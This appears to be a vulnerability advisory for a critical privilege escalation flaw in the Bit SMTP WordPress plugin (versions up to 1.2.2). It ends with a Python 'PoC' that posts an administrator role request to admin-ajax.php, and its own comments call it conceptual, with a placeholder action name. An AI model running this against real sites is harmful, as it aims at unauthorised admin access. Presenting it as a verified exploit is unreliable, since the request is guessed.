Incorrect Privilege Assignment vulnerability in Bit Apps Bit SMTP bit-smtp allows Privilege Escalation.This issue affects Bit SMTP: from n/a through <= 1.2.2.
CVSS Details
CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Bit Apps Bit SMTP <= 1.2.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Exploit Title: Bit SMTP <= 1.2.2 - Privilege Escalation (PoC)
# Description: This script attempts to exploit the incorrect privilege assignment vulnerability.
# Note: This is a conceptual example based on the vulnerability description.
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
# The specific action and parameters would depend on the vulnerable code path
payload = {
"action": "bit_smtp_vulnerable_action",
"role": "administrator",
"user_id": 1 # Target user ID to escalate
}
try:
response = requests.post(target_url, data=payload)
if response.status_code == 200 and "success" in response.text:
print("[+] Exploit successful! Privileges escalated.")
else:
print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
print(f"Error: {e}")